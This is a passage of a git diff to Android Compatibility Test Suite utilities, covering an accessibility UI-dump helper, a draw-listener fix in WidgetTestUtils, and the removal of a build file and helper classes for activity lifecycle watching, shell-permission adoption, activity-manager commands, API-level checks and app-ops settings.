+ out.append("[");
+ appendTextWithCursor(out, node, txt);
+ out.append("] ");
+ } else if (node.isClickable()) {
+ markedClickable = true;
+ out.append("[");
+ } else if (!node.isImportantForAccessibility()) {
+ markedNonFocusable = true;
+ out.append("(");
+ }
+
+ if (appendNodeText(out, node)) return true;
+ } finally {
+ backspaceIf(' ', out);
+ if (markedClickable) {
+ out.append("]");
+ if (node.isLongClickable()) out.append("+");
+ out.append(" ");
+ }
+ if (markedNonFocusable) out.append(") ");
+
+ if (CONCISE) out.append(" ");
+
+ for (Map.Entry<String, Boolean> prop : sNodeFlags.entrySet()) {
+ boolean value = call(node, boolGetter(prop.getKey()));
+ if (value != prop.getValue()) {
+ out.append("#");
+ if (!value) out.append("not_");
+ out.append(prop.getKey()).append(" ");
+ }
+ }
+
+ if (SHOW_ACTIONS) {
+ LinkedHashSet<String> symbols = new LinkedHashSet<>();
+ for (AccessibilityAction accessibilityAction : node.getActionList()) {
+ String symbol = sNodeActions.get(accessibilityAction);
+ if (symbol != null) symbols.add(symbol);
+ }
+ merge(symbols, "←", "→", "↔");
+ merge(symbols, "↑", "↓", "↕");
+ symbols.forEach(out::append);
+ if (!symbols.isEmpty()) out.append(" ");
+
+ getActions(node)
+ .map(a -> "[" + actionToString(a) + "] ")
+ .forEach(out::append);
+ }
+
+ Bundle extras = node.getExtras();
+ for (String extra : extras.keySet()) {
+ if (extra.equals("AccessibilityNodeInfo.chromeRole")) continue;
+ if (extra.equals("AccessibilityNodeInfo.roleDescription")) continue;
+ String value = "" + extras.get(extra);
+ if (value.isEmpty()) continue;
+ out.append(extra).append(":").append(value).append(" ");
+ }
+ }
+ return true;
+ }
+
+ private static StringBuilder appendTextWithCursor(StringBuilder out, AccessibilityNodeInfo node,
+ CharSequence txt) {
+ out.append(txt);
+ insertAtEnd(out, txt.length() - 1 - node.getTextSelectionStart(), "ꕯ");
+ if (node.getTextSelectionEnd() != node.getTextSelectionStart()) {
+ insertAtEnd(out, txt.length() - 1 - node.getTextSelectionEnd(), "ꕯ");
+ }
+ return out;
+ }
+
+ private static boolean appendNodeText(StringBuilder out, AccessibilityNodeInfo node) {
+ CharSequence txt = node.getText();
+
+ Bundle extras = node.getExtras();
+ if (extras.containsKey("AccessibilityNodeInfo.roleDescription")) {
+ out.append("<").append(extras.getString("AccessibilityNodeInfo.chromeRole"))
+ .append("> ");
+ } else if (extras.containsKey("AccessibilityNodeInfo.chromeRole")) {
+ out.append("<").append(extras.getString("AccessibilityNodeInfo.chromeRole"))
+ .append("> ");
+ }
+
+ if (CONCISE) {
+ if (!isEmpty(node.getContentDescription())) {
+ out.append(escape(node.getContentDescription()));
+ return true;
+ }
+ if (!isEmpty(node.getPaneTitle())) {
+ out.append(escape(node.getPaneTitle()));
+ return true;
+ }
+ if (!isEmpty(txt) && !node.isEditable()) {
+ out.append('"');
+ if (node.getTextSelectionStart() > 0 || node.getTextSelectionEnd() > 0) {
+ appendTextWithCursor(out, node, txt);
+ } else {
+ out.append(escape(txt));
+ }
+ out.append('"');
+ return true;
+ }
+ if (!isEmpty(node.getViewIdResourceName())) {
+ out.append("@").append(fromLast("/", node.getViewIdResourceName()));
+ return true;
+ }
+ }
+
+ if (node.getParent() == null && node.getWindow() != null) {
+ appendWindow(node.getWindow(), out);
+ if (CONCISE) return true;
+ out.append(" ");
+ }
+
+ if (!extras.containsKey("AccessibilityNodeInfo.chromeRole")) {
+ out.append(fromLast(".", node.getClassName())).append(" ");
+ }
+ ifNotEmpty(node.getViewIdResourceName(),
+ s -> out.append("@").append(fromLast("/", s)).append(" "));
+ ifNotEmpty(node.getPaneTitle(), s -> out.append("## ").append(s).append(" "));
+ ifNotEmpty(txt, s -> out.append("\"").append(s).append("\" "));
+
+ ifNotEmpty(node.getContentDescription(), s -> out.append("//").append(s).append(" "));
+
+ appendArea(out, node::getBoundsInScreen);
+ return false;
+ }
+
+ private static <T> String valueToString(Class<?> clazz, String prefix, T value) {
+ String s = flagsToString(clazz, prefix, value, Objects::equals);
+ if (s.isEmpty()) s = "" + value;
+ return s;
+ }
+
+ private static <T> String flagsToString(Class<?> clazz, String prefix, T flags,
+ BiPredicate<T, T> test) {
+ return mkStr(sb -> {
+ consts(clazz, prefix)
+ .filter(f -> box(f.getType()).isInstance(flags))
+ .forEach(c -> {
+ try {
+ if (test.test(flags, read(null, c))) {
+ sb.append(c.getName().substring(prefix.length())).append("|");
+ }
+ } catch (Exception e) {
+ throw new RuntimeException("Error while dealing with " + c, e);
+ }
+ });
+ backspace(sb);
+ });
+ }
+
+ private static Class box(Class c) {
+ return c == int.class ? Integer.class : c;
+ }
+
+ private static Stream<Field> consts(Class<?> clazz, String prefix) {
+ return Arrays.stream(clazz.getDeclaredFields())
+ .filter(f -> isConst(f) && f.getName().startsWith(prefix));
+ }
+
+ private static boolean isConst(Field f) {
+ return Modifier.isStatic(f.getModifiers()) && Modifier.isFinal(f.getModifiers());
+ }
+
+ private static Character last(StringBuilder sb) {
+ return sb.length() == 0 ? null : sb.charAt(sb.length() - 1);
+ }
+
+ private static StringBuilder backspaceIf(char c, StringBuilder sb) {
+ if (Objects.equals(last(sb), c)) backspace(sb);
+ return sb;
+ }
+
+ private static StringBuilder backspace(StringBuilder sb) {
+ if (sb.length() != 0) {
+ sb.deleteCharAt(sb.length() - 1);
+ }
+ return sb;
+ }
+
+ private static String toStringRounding(float f) {
+ return f >= 5.0 ? "" + (int) f : String.format("%.1f", f);
+ }
+
+ private static int area(Rect r) {
+ return Math.abs((r.right - r.left) * (r.bottom - r.top));
+ }
+
+ private static String escape(CharSequence s) {
+ return mkStr(out -> {
+ for (int i = 0; i < s.length(); i++) {
+ char c = s.charAt(i);
+ if (c < 127 || c == 0xa0 || c >= 0x2000 && c < 0x2070) {
+ out.append(c);
+ } else {
+ out.append("\\u").append(Integer.toHexString(c));
+ }
+ }
+ });
+ }
+
+ private static Stream<AccessibilityAction> getActions(
+ AccessibilityNodeInfo node) {
+ if (node == null) return Stream.empty();
+ return node.getActionList().stream()
+ .filter(a -> !AccessibilityAction.ACTION_SHOW_ON_SCREEN.equals(a)
+ && (a.getId()
+ & ~IGNORED_ACTIONS
+ & ~SPECIALLY_HANDLED_ACTIONS
+ ) != 0);
+ }
+
+ private static String actionToString(AccessibilityAction a) {
+ if (!isEmpty(a.getLabel())) return a.getLabel().toString();
+ return valueToString(AccessibilityAction.class, "ACTION_", a);
+ }
+
+ private static void merge(Set<String> symbols, String a, String b, String ab) {
+ if (symbols.contains(a) && symbols.contains(b)) {
+ symbols.add(ab);
+ symbols.remove(a);
+ symbols.remove(b);
+ }
+ }
+
+ private static String fromLast(String substr, CharSequence whole) {
+ String wholeStr = whole.toString();
+ int idx = wholeStr.lastIndexOf(substr);
+ if (idx < 0) return wholeStr;
+ return wholeStr.substring(idx + substr.length());
+ }
+
+ private static String boolGetter(String propName) {
+ return "is" + Character.toUpperCase(propName.charAt(0)) + propName.substring(1);
+ }
+
+ private static <T> T read(Object o, Field f) {
+ try {
+ f.setAccessible(true);
+ return (T) f.get(o);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private static <T> T call(Object o, String methodName, Object... args) {
+ Class clazz = o instanceof Class ? (Class) o : o.getClass();
+ try {
+ Method method = clazz.getDeclaredMethod(methodName, mapToTypes(args));
+ method.setAccessible(true);
+ //noinspection unchecked
+ return (T) method.invoke(o, args);
+ } catch (NoSuchMethodException e) {
+ throw new RuntimeException(
+ newlineSeparated(Arrays.asList(clazz.getDeclaredMethods())), e);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private static Class[] mapToTypes(Object[] args) {
+ return Arrays.stream(args).map(Object::getClass).toArray(Class[]::new);
+ }
+
+ private static void ifNotEmpty(CharSequence t, Consumer<CharSequence> f) {
+ if (!isEmpty(t)) {
+ f.accept(t);
+ }
+ }
+
+ private static StringBuilder insertAtEnd(StringBuilder sb, int pos, String s) {
+ return sb.insert(sb.length() - 1 - pos, s);
+ }
+
+ private static <T, R> R fold(List<T> l, R init, BiFunction<R, T, R> combine) {
+ R result = init;
+ for (T t : l) {
+ result = combine.apply(result, t);
+ }
+ return result;
+ }
+
+ private static <T> String toString(List<T> l, String sep, Function<T, String> elemToStr) {
+ return fold(l, "", (a, b) -> a + sep + elemToStr.apply(b));
+ }
+
+ private static <T> String toString(List<T> l, String sep) {
+ return toString(l, sep, String::valueOf);
+ }
+
+ private static String newlineSeparated(List<?> l) {
+ return toString(l, "\n");
+ }
+
+ private static String mkStr(Consumer<StringBuilder> build) {
+ StringBuilder t = new StringBuilder();
+ build.accept(t);
+ return t.toString();
+ }
+
+ private static class UiDumpWrapperException extends RuntimeException {
+ private UiDumpWrapperException(Throwable cause) {
+ super(cause.getMessage() + "\n\nWhile displaying the following UI:\n"
+ + mkStr(sb -> dumpNodes(sUiAutomation.getRootInActiveWindow(), sb)), cause);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
index 6259986..7b029e6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -222,15 +222,13 @@
public void onDraw() {
// posting so that the sync happens after the draw that's about to happen
view.post(() -> {
- activityTestRule.getActivity().getWindow().getDecorView()
- .getViewTreeObserver().removeOnDrawListener(this);
+ view.getViewTreeObserver().removeOnDrawListener(this);
latch.countDown();
});
}
};
- activityTestRule.getActivity().getWindow().getDecorView()
- .getViewTreeObserver().addOnDrawListener(listener);
+ view.getViewTreeObserver().addOnDrawListener(listener);
if (runner != null) {
runner.run();
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
deleted file mode 100644
index 134b4f7..0000000
--- a/common/device-side/util/Android.bp
+++ /dev/null
@@ -1,39 +0,0 @@
-// Copyright (C) 2018 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_library_static {
- name: "compatibility-device-util",
- sdk_version: "test_current",
-
- srcs: [
- "src/**/*.java",
- "src/**/*.aidl",
- ],
-
- static_libs: [
- "compatibility-common-util-devicesidelib",
- "android-support-test",
- "ub-uiautomator",
- "mockito-target-minus-junit4",
- "androidx.annotation_annotation",
- "truth-prebuilt",
- ],
-
- libs: [
- "android.test.runner.stubs",
- "android.test.base.stubs",
- ],
-
- jarjar_rules: "protobuf-jarjar-rules.txt",
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java b/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java
deleted file mode 100644
index a2b0152..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.app.Application.ActivityLifecycleCallbacks;
-import android.os.Bundle;
-import android.util.ArrayMap;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper object used to watch for activities lifecycle events.
- *
- * <p><b>NOTE:</b> currently it's limited to just one occurrence of each event.
- *
- * <p>These limitations will be fixed as needed (A.K.A. K.I.S.S. :-)
- */
-public final class ActivitiesWatcher implements ActivityLifecycleCallbacks {
-
- private static final String TAG = ActivitiesWatcher.class.getSimpleName();
-
- private final Map<String, ActivityWatcher> mWatchers = new ArrayMap<>();
- private final long mTimeoutMs;
-
- /**
- * Default constructor.
- *
- * @param timeoutMs how long to wait for given lifecycle event before timing out.
- */
- public ActivitiesWatcher(long timeoutMs) {
- mTimeoutMs = timeoutMs;
- }
-
- @Override
- public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
- Log.v(TAG, "onActivityCreated(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.CREATED);
- }
-
- @Override
- public void onActivityStarted(Activity activity) {
- Log.v(TAG, "onActivityStarted(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.STARTED);
- }
-
- @Override
- public void onActivityResumed(Activity activity) {
- Log.v(TAG, "onActivityResumed(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.RESUMED);
- }
-
- @Override
- public void onActivityPaused(Activity activity) {
- Log.v(TAG, "onActivityPaused(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.PAUSED);
- }
-
- @Override
- public void onActivityStopped(Activity activity) {
- Log.v(TAG, "onActivityStopped(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.STOPPED);
- }
-
- @Override
- public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
- Log.v(TAG, "onActivitySaveInstanceState(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.SAVE_INSTANCE);
- }
-
- @Override
- public void onActivityDestroyed(Activity activity) {
- Log.v(TAG, "onActivityDestroyed(): " + activity);
- notifyWatcher(activity, ActivityLifecycle.DESTROYED);
- }
-
- /**
- * Gets a watcher for the given activity.
- *
- * @throws IllegalStateException if already registered.
- */
- public ActivityWatcher watch(@NonNull Class<? extends Activity> clazz) {
- return watch(clazz.getName());
- }
-
- @Override
- public String toString() {
- return "[ActivitiesWatcher: activities=" + mWatchers.keySet() + "]";
- }
-
- /**
- * Gets a watcher for the given activity.
- *
- * @throws IllegalStateException if already registered.
- */
- public ActivityWatcher watch(@NonNull String className) {
- if (mWatchers.containsKey(className)) {
- throw new IllegalStateException("Already watching " + className);
- }
- Log.d(TAG, "Registering watcher for " + className);
- final ActivityWatcher watcher = new ActivityWatcher(mTimeoutMs);
- mWatchers.put(className, watcher);
- return watcher;
- }
-
- private void notifyWatcher(@NonNull Activity activity, @NonNull ActivityLifecycle lifecycle) {
- final String className = activity.getComponentName().getClassName();
- final ActivityWatcher watcher = mWatchers.get(className);
- if (watcher != null) {
- Log.d(TAG, "notifying watcher of " + className + " of " + lifecycle);
- watcher.notify(lifecycle);
- } else {
- Log.v(TAG, lifecycle + ": no watcher for " + className);
- }
- }
-
- /**
- * Object used to watch for acitivity lifecycle events.
- *
- * <p><b>NOTE: </b>currently it only supports one occurrence for each event.
- */
- public static final class ActivityWatcher {
- private final CountDownLatch mCreatedLatch = new CountDownLatch(1);
- private final CountDownLatch mStartedLatch = new CountDownLatch(1);
- private final CountDownLatch mResumedLatch = new CountDownLatch(1);
- private final CountDownLatch mPausedLatch = new CountDownLatch(1);
- private final CountDownLatch mStoppedLatch = new CountDownLatch(1);
- private final CountDownLatch mSaveInstanceLatch = new CountDownLatch(1);
- private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
- private final long mTimeoutMs;
-
- private ActivityWatcher(long timeoutMs) {
- mTimeoutMs = timeoutMs;
- }
-
- /**
- * Blocks until the given lifecycle event happens.
- *
- * @throws IllegalStateException if it times out while waiting.
- * @throws InterruptedException if interrupted while waiting.
- */
- public void waitFor(@NonNull ActivityLifecycle lifecycle) throws InterruptedException {
- final CountDownLatch latch = getLatch(lifecycle);
- final boolean called = latch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
- if (!called) {
- throw new IllegalStateException(lifecycle + " not called in " + mTimeoutMs + " ms");
- }
- }
-
- private CountDownLatch getLatch(@NonNull ActivityLifecycle lifecycle) {
- switch (lifecycle) {
- case CREATED:
- return mCreatedLatch;
- case STARTED:
- return mStartedLatch;
- case RESUMED:
- return mResumedLatch;
- case PAUSED:
- return mPausedLatch;
- case STOPPED:
- return mStoppedLatch;
- case SAVE_INSTANCE:
- return mSaveInstanceLatch;
- case DESTROYED:
- return mDestroyedLatch;
- default:
- throw new IllegalArgumentException("unsupported lifecycle: " + lifecycle);
- }
- }
-
- private void notify(@NonNull ActivityLifecycle lifecycle) {
- getLatch(lifecycle).countDown();
- }
- }
-
- /**
- * Supported activity lifecycle.
- */
- public enum ActivityLifecycle {
- CREATED,
- STARTED,
- RESUMED,
- PAUSED,
- STOPPED,
- SAVE_INSTANCE,
- DESTROYED
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java b/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java
deleted file mode 100644
index 20d9331..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.support.test.rule.ActivityTestRule;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
-
-/**
- * Helper used to launch an activity and watch for its lifecycle events.
- *
- * @param <A> activity type
- */
-public final class ActivityLauncher<A extends Activity> {
-
- private final ActivityWatcher mWatcher;
- private final ActivityTestRule<A> mActivityTestRule;
- private final Intent mLaunchIntent;
-
- public ActivityLauncher(@NonNull Context context, @NonNull ActivitiesWatcher watcher,
- @NonNull Class<A> activityClass) {
- mWatcher = watcher.watch(activityClass);
- mActivityTestRule = new ActivityTestRule<>(activityClass);
- mLaunchIntent = new Intent(context, activityClass);
- }
-
- /**
- * Gets a watcher for the activity lifecycle events.
- */
- @NonNull
- public ActivityWatcher getWatcher() {
- return mWatcher;
- }
-
- /**
- * Launches the activity.
- */
- @NonNull
- public A launchActivity() {
- return mActivityTestRule.launchActivity(mLaunchIntent);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java b/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java
deleted file mode 100644
index f7b50b4..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that runs a test adopting Shell's permissions, revoking them at the end.
- *
- * <p>NOTE: should only be used in the cases where *every* test in a class requires the permission.
- * For a more fine-grained access, use
- * {@link SystemUtil#runWithShellPermissionIdentity(ThrowingRunnable)}
- * or {@link SystemUtil#callWithShellPermissionIdentity(java.util.concurrent.Callable)} instead.
- */
-public class AdoptShellPermissionsRule implements TestRule {
-
- private final UiAutomation mUiAutomation;
-
- private final String[] mPermissions;
-
- public AdoptShellPermissionsRule() {
- this(InstrumentationRegistry.getInstrumentation().getUiAutomation());
- }
-
- public AdoptShellPermissionsRule(@NonNull UiAutomation uiAutomation) {
- this(uiAutomation, (String[]) null);
- }
-
- public AdoptShellPermissionsRule(@NonNull UiAutomation uiAutomation,
- @Nullable String... permissions) {
- mUiAutomation = uiAutomation;
- mPermissions = permissions;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (mPermissions != null) {
- mUiAutomation.adoptShellPermissionIdentity(mPermissions);
- } else {
- mUiAutomation.adoptShellPermissionIdentity();
- }
- try {
- base.evaluate();
- } finally {
- mUiAutomation.dropShellPermissionIdentity();
- }
- }
- };
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java
deleted file mode 100644
index f3e178b..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-public class AmUtils {
- private static final String TAG = "CtsAmUtils";
-
- private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity --proto processes";
-
- private AmUtils() {
- }
-
- /** Run "adb shell am make-uid-idle PACKAGE" */
- public static void runMakeUidIdle(String packageName) {
- SystemUtil.runShellCommandForNoOutput("am make-uid-idle " + packageName);
- }
-
- /** Run "adb shell am kill PACKAGE" */
- public static void runKill(String packageName) throws Exception {
- runKill(packageName, false /* wait */);
- }
-
- public static void runKill(String packageName, boolean wait) throws Exception {
- SystemUtil.runShellCommandForNoOutput("am kill --user cur " + packageName);
-
- if (!wait) {
- return;
- }
-
- TestUtils.waitUntil("package process was not killed:" + packageName,
- () -> !isProcessRunning(packageName));
- }
-
- private static boolean isProcessRunning(String packageName) {
- final String output = SystemUtil.runShellCommand("ps -A -o NAME");
- String[] packages = output.split("\\n");
- for (int i = packages.length -1; i >=0; --i) {
- if (packages[i].equals(packageName)) {
- return true;
- }
- }
- return false;
- }
-
- /** Run "adb shell am set-standby-bucket" */
- public static void setStandbyBucket(String packageName, int value) {
- SystemUtil.runShellCommandForNoOutput("am set-standby-bucket " + packageName
- + " " + value);
- }
-
- /** Wait until all broad queues are idle. */
- public static void waitForBroadcastIdle() {
- SystemUtil.runCommandAndPrintOnLogcat(TAG, "am wait-for-broadcast-idle");
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
deleted file mode 100644
index 943ebc7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-
-import java.lang.reflect.Field;
-
-/**
- * Device-side compatibility utility class for reading device API level.
- */
-public class ApiLevelUtil {
-
- public static boolean isBefore(int version) {
- return Build.VERSION.SDK_INT < version;
- }
-
- public static boolean isBefore(String version) {
- return Build.VERSION.SDK_INT < resolveVersionString(version);
- }
-
- public static boolean isAfter(int version) {
- return Build.VERSION.SDK_INT > version;
- }
-
- public static boolean isAfter(String version) {
- return Build.VERSION.SDK_INT > resolveVersionString(version);
- }
-
- public static boolean isAtLeast(int version) {
- return Build.VERSION.SDK_INT >= version;
- }
-
- public static boolean isAtLeast(String version) {
- return Build.VERSION.SDK_INT >= resolveVersionString(version);
- }
-
- public static boolean isAtMost(int version) {
- return Build.VERSION.SDK_INT <= version;
- }
-
- public static boolean isAtMost(String version) {
- return Build.VERSION.SDK_INT <= resolveVersionString(version);
- }
-
- public static int getApiLevel() {
- return Build.VERSION.SDK_INT;
- }
-
- public static boolean codenameEquals(String name) {
- return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
- }
-
- public static boolean codenameStartsWith(String prefix) {
- return Build.VERSION.CODENAME.startsWith(prefix);
- }
-
- public static String getCodename() {
- return Build.VERSION.CODENAME;
- }
-
- protected static int resolveVersionString(String versionString) {
- // Attempt 1: Parse version string as an integer, e.g. "23" for M
- try {
- return Integer.parseInt(versionString);
- } catch (NumberFormatException e) { /* ignore for alternate approaches below */ }
- // Attempt 2: Find matching field in VersionCodes utility class, return value
- try {
- Field versionField = VersionCodes.class.getField(versionString.toUpperCase());
- return versionField.getInt(null); // no instance for VERSION_CODES, use null
- } catch (IllegalAccessException | NoSuchFieldException e) { /* ignore */ }
- // Attempt 3: Find field within android.os.Build.VERSION_CODES
- try {
- Field versionField = Build.VERSION_CODES.class.getField(versionString.toUpperCase());
- return versionField.getInt(null); // no instance for VERSION_CODES, use null
- } catch (IllegalAccessException | NoSuchFieldException e) {
- throw new RuntimeException(
- String.format("Failed to parse version string %s", versionString), e);
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java
deleted file mode 100644
index 939d6da..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.app.AppOpsManager.MODE_ALLOWED;
-import static android.app.AppOpsManager.MODE_DEFAULT;
-import static android.app.AppOpsManager.MODE_ERRORED;
-import static android.app.AppOpsManager.MODE_IGNORED;
-
-import android.app.AppOpsManager;
-import android.support.test.InstrumentationRegistry;
-
-import java.io.IOException;
-
-/**
- * Utilities for controlling App Ops settings, and testing whether ops are logged.
- */
-public class AppOpsUtils {
-
- /**
- * Resets a package's app ops configuration to the device default. See AppOpsManager for the
- * default op settings.
- *
- * <p>
- * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
- * ends with a reproducible default state, and so doesn't affect other tests.
- *
- * <p>
- * Some app ops are configured to be non-resettable, which means that the state of these will
- * not be reset even when calling this method.
- */
- public static String reset(String packageName) throws IOException {
- return runCommand("appops reset " + packageName);
- }
-
- /**
- * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
- */
- public static String setOpMode(String packageName, String opStr, int mode)
- throws IOException {
- String modeStr;
- switch (mode) {
- case MODE_ALLOWED:
- modeStr = "allow";
- break;
- case MODE_ERRORED:
- modeStr = "deny";
- break;
- case MODE_IGNORED:
- modeStr = "ignore";
- break;
- case MODE_DEFAULT:
- modeStr = "default";
- break;
- default:
- throw new IllegalArgumentException("Unexpected app op type");
- }
- String command = "appops set " + packageName + " " + opStr + " " + modeStr;
- return runCommand(command);
- }
-
- /**
- * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
- */
- public static int getOpMode(String packageName, String opStr)
- throws IOException {
- String opState = getOpState(packageName, opStr);
- if (opState.contains(" allow")) {
- return MODE_ALLOWED;
- } else if (opState.contains(" deny")) {
- return MODE_ERRORED;
- } else if (opState.contains(" ignore")) {
- return MODE_IGNORED;
- } else if (opState.contains(" default")) {
- return MODE_DEFAULT;
- } else {
- throw new IllegalStateException("Unexpected app op mode returned " + opState);
- }
- }
-
- /**
- * Returns whether an allowed operation has been logged by the AppOpsManager for a
- * package. Operations are noted when the app attempts to perform them and calls e.g.
- * {@link AppOpsManager#noteOperation}.
- *
- * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
- */
- public static boolean allowedOperationLogged(String packageName, String opStr)
- throws IOException {
- return getOpState(packageName, opStr).contains(" time=");
- }
-
- /**
- * Returns whether a rejected operation has been logged by the AppOpsManager for a
- * package. Operations are noted when the app attempts to perform them and calls e.g.
- * {@link AppOpsManager#noteOperation}.
- *
- * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
- */
- public static boolean rejectedOperationLogged(String packageName, String opStr)
- throws IOException {
- return getOpState(packageName, opStr).contains(" rejectTime=");
- }
-
- /**
- * Returns the app op state for a package. Includes information on when the operation was last
- * attempted to be performed by the package.
- *
